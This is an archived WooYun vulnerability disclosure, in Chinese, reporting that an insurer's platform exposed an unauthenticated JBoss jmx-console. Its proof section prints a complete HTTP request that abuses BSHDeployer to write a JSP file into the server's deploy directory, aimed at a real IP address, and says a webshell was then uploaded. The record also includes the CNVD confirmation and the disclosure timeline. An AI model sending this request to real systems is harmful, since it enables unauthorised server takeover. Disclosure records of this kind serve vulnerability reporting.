当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-095458

漏洞标题：安盛天平某平台系统可被getshell第五弹

相关厂商：安盛天平网络车险

漏洞作者： Blunber

提交时间：2015-02-04 15:43

修复时间：2015-03-21 15:44

公开时间：2015-03-21 15:44

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-04： 细节已通知厂商并且等待厂商处理中
2015-02-09： 厂商已经确认，细节仅向厂商公开
2015-02-19： 细节向核心白帽子及相关领域专家公开
2015-03-01： 细节向普通白帽子公开
2015-03-11： 细节向实习白帽子公开
2015-03-21： 细节向公众公开

简要描述：

系统问题还真是多，都到了第五弹了！希望能把 第一弹这个漏洞给认领了：<code>http://wooyun.org/bugs/wooyun-2015-089344</code>

详细说明：

已经第五弹了！啥也不说了！希望能把 第一弹这个漏洞给认领了：

http://wooyun.org/bugs/wooyun-2015-089344


http://180.168.192.22:9999/

漏洞证明：

1、系统界面

登陆界面.png


2、系统存在jboss

2存在jboss.png


3、老问题，新方法,使用base64加密以后上传到服务器再解密。

HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&methodName=createScriptDeployment&argType=java.lang.String&arg0=import%20java.io.FileOutputStream%3b%0aimport%20sun.misc.BASE64Decoder%3b%0a%0aString%20FfvxdeJR%20%3d%20%22aGVsbG93b3JsZGhhaGFoaGE%3d%22%3b%0a%0aBASE64Decoder%20woGbSwsmL%20%3d%20new%20BASE64Decoder%28%29%3b%0aString%20WhXJjVRYXEECrBq%20%3d%20System.getProperty%28%22jboss.server.home.dir%22%29%3b%0anew%20File%28WhXJjVRYXEECrBq%20%2b%20%22/deploy/wooyunjboss.war%22%29.mkdir%28%29%3b%0abyte%5b%5d%20bzgeDcNOImdXb%20%3d%20woGbSwsmL.decodeBuffer%28FfvxdeJR%29%3b%0aString%20ikPvygffXpizIrT%20%3d%20WhXJjVRYXEECrBq%20%2b%20%22/deploy/wooyunjboss.war/wooyunjbosscheck.jsp%22%3b%0aFileOutputStream%20enwYEplyVHl%20%3d%20new%20FileOutputStream%28ikPvygffXpizIrT%29%3b%0aenwYEplyVHl.write%28bzgeDcNOImdXb%29%3b%0aenwYEplyVHl.close%28%29%3b%0a&argType=java.lang.String&arg1=xmJa4e69mTMS2.bsh HTTP/1.1
Host: 180.168.192.22:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive


4、修改数据包请求

改变表头.png


5、上传成功

上传成功.png


6、shell,这里需要提的俩点是，一就是咱们用head提交，有字符限制，二就比较麻烦了，上传一句话木马，会出现/(反斜杠)，还抵在传个cmd ，rename 一下。

shell.png

修复方案：

YOU KNOW！

版权声明：转载请注明来源 Blunber@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-02-09 11:15

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向保险行业信息化主管部门通报，由其后续协助调网站管理单位处置。

最新状态：

暂无